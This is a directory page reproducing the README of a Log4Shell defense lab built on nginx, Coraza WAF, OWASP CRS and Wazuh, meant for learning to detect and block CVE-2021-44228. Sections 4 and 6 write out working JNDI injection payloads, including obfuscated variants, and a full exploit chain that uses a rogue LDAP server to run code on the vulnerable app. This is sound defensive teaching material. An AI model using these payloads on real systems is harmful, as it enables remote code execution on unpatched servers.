Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4shell-coraza — Log4Shell (CVE-2021-44228) defense lab — nginx + Coraza WAF dynamic module + OWASP CRS v4. Educational use only. | Kitploit
Tools/GitHubGitHub/tieupham267/log4shell-coraza
Defensive ToolsVulnerability ScannersExploitationIDS/IPS EvasionWAF BypassWeb SecurityPenetration TestingIntrusion DetectionLearning & EducationLog AnalysisLabs & Practice
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Log4Shell (CVE-2021-44228) defense lab — nginx + Coraza WAF dynamic module + OWASP CRS v4. Educational use only.

View Repository

Log4Shell Security Lab — nginx + Coraza WAF

Educational / defensive purpose: this lab contains a deliberately vulnerable app (Log4j 2.14.1) and a JNDI exploit kit, ONLY for learning how to detect and block Log4Shell in an isolated environment. Do not deploy to the Internet, do not use to attack systems that do not belong to you.

Hands-on lab for defending against Log4Shell (CVE-2021-44228) using nginx integrated with Coraza WAF (dynamic module) + OWASP CRS v4 + custom JNDI rules. Includes a vulnerable Spring Boot target container, an attacker-box Kali, and Suricata + Wazuh for monitoring.


1. Architecture

root@kitploit:~
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy              ← entrypoint :80/:443, has Coraza module + CRS v4
│   ├── attacker-box             ← Kali + JNDI exploit kits
│   └── suricata-ids             ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy              ← second NIC
    ├── log4shell-app            ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager            ← SIEM
    └── wazuh-dashboard          ← UI

Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF runs inside nginx (via module ngx_http_coraza_module.so), not a separate container.


2. Requirements

ItemMinimum version
Docker Desktop / Engine24+ with Compose v2
Free RAM4 GB (Wazuh consumes ~1.5 GB)
Free disk6 GB (image build artifacts)
First build time10–15 minutes (libcoraza + nginx module + Maven attacker tools)

3. Bootstrap — first run

Step 3.1 — Build images

root@kitploit:~
cd /path/to/log4shell-nginx-coraza
docker compose build

The slowest stage is nginx (build libcoraza v1.4.0 with Go 1.25, then compile coraza-nginx module). Cached after the first time.

Step 3.2 — Start stack

root@kitploit:~
docker compose up -d
docker compose ps

After ~30s, expected status:

Step 3.3 — Smoke test

root@kitploit:~
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# through WAF to app (real endpoint of log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ without X-Api-Version header will return 400 — that is Spring Boot whitelabel error (no handler), not WAF blocking.


4. Test WAF blocking Log4Shell

Step 4.1 — Basic payloads

root@kitploit:~
# JNDI in User-Agent → rule 1910010 fires, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI in app log header: X-Api-Version → rule 1910001 (header+arg) fires, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI in query string → CRS phase 1 blocks
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Expected: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.

Step 4.2 — Obfuscated payloads

root@kitploit:~
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Step 4.3 — JSON body payload

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body contains jndi)

5. Inspect WAF logs

Coraza audit log (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Each event is JSON Lines, with:

  • transaction.is_interrupted: true → WAF blocked
  • messages[].error_message → which rule fired, file & line, severity

nginx access log

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filter blocks:

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Mounted paths on host

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Real exploit chain — attacker-box → log4shell-app

By default backend-net is set to internal: true and attacker-box is only on dmz-net, so log4shell-app is NOT reachable from attacker-box. To make the JNDI chain work end-to-end, do step 6.0 first.

Step 6.0 — Allow log4shell-app to reach attacker-box

Edit docker-compose.yml, add attacker-box to backend-net:

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— add

Or move log4shell-app to dmz-net (simpler but reduces segmentation educational value):

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— add

Apply: docker compose up -d (Compose recreates that container only).

Step 6.1 — Start JNDI exploit server inside attacker-box

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — simple, only relays LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Server listens on LDAP :1389 and HTTP :8888 (already exposed to host in compose).

Step 6.2 — Bypass test: call app directly (not through WAF) to confirm vuln

root@kitploit:~
# From attacker-box, call log4shell-app directly on backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Check:

root@kitploit:~
# Pwned marker created inside app container
docker exec victim-app ls -la /tmp/pwned

If file exists → exploit chain OK, app is still vulnerable, WAF is NOT bypassed when going through the main path.

Step 6.3 — Verify WAF blocks the same payload via the main path

root@kitploit:~
# Through nginx (public main path)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NO new /tmp/pwned

7. Tweak rules (no rebuild needed)

File ./coraza/config/log4shell-rules.conf is mounted :ro into nginx at /etc/nginx/coraza/log4shell-rules.conf. After editing:

root@kitploit:~
docker exec nginx-proxy nginx -t      # syntax check
docker exec nginx-proxy nginx -s reload

If Coraza reports a parsing error (failed to compile the directive...), workers will exit and nginx -s reload cannot respawn them. Then:

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Layout of rules loaded into WAF

Include order (in nginx/coraza/main.conf, baked into image):

  1. Engine config: SecRuleEngine On, audit log, debug log
  2. crs-setup.conf — initialize tx.*_anomaly_score, thresholds
  3. owasp-crs/rules/*.conf — full CRS v4.7.0
  4. log4shell-rules.conf — custom rules (mounted from host)

Custom rule ID range: 1910001 – 1910999 (avoids CRS range 900000–999999).

Coraza syntax limitations vs ModSecurity

  • Severity only accepts standard enum: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW are invalid.
  • Persistent collections (IP:, SESSION:, RESOURCE:) do not work without a configured backing store. Use tx. for per-request or rate-limit via nginx limit_req_zone.

8. Troubleshooting

nginx UP but (unhealthy) / curl localhost hangs

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Usually due to a syntax error in a new rule → all workers exit with code 2. Fix the rule, docker compose restart nginx.

failed to create WAF: ... unknown severity: HIGH

Change severity:'HIGH' → severity:'ERROR' in the custom rule.

failed to compile the directive "secrule": invalid arguments, expected collection TX

The rule is using setvar:ip.xxx or referencing IP:something / TX:NEVER_DECLARED. Remove the persistent collection or merge logic into a single chain rule.

Suricata Exited (1)

Image jasonish/suricata:latest has its own entrypoint and the yaml mount from ./suricata/config/ may be incompatible with the image's version. Quick fix: temporarily comment out the suricata service in compose; the lab still runs fine (no IDS needed for Coraza to work). For a permanent fix, replace suricata.yaml with the default from the image (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app exits immediately after start

Image is based on Alpine 3.8 which is EOL. Ensure the command in compose is ["java", "-jar", "/app/spring-boot-application.jar"] (NO apk add iptables — Alpine 3.8 repo returns 404).

Wazuh dashboard not accessible at http://localhost:5601

Wazuh manager + dashboard requires wazuh-indexer (OpenSearch) to function fully. The current stack lacks that service — the dashboard will start but login will fail. Add service wazuh-indexer later if needed, following the official compose.


9. Cleanup

root@kitploit:~
# Stop + remove containers, keep image cache
docker compose down

# Nuke all (including Wazuh volumes, forces rebuild next time)
docker compose down -v

# Also delete build images (frees ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Directory structure

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; at http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # engine config + Include CRS + custom
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # custom JNDI rules, mounted :ro into nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # mount points for nginx, coraza, app, suricata, wazuh

11. Rule ID reference

RangeOwnerConflicts with CRS range?
900000–999999OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval)(CRS owned)
1910000–1910999Custom Log4Shell rulesNo

All existing custom rule IDs: 1910001–1910008 (JNDI patterns), 1910010–1910014 (per-header), 1910015 (alt protocols), 1910020 (scanning detection), 1910026 (JSON body chain), 1910028 (XML body chain), 1910030 (paranoia 3), 1910999 (anomaly evaluation echo).


End: if the lab runs up to Step 4, the WAF is working. Step 6 is only needed if you want to demonstrate the full exploit chain end-to-end.

Download Tool
ServiceSTATUS
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idsmay be Restarting (see item 8 — does not block lab)
  • TX:VARNAME can only reference variables that were setvar in the same request. If a rule is in a different phase, consider merging into a chain rule.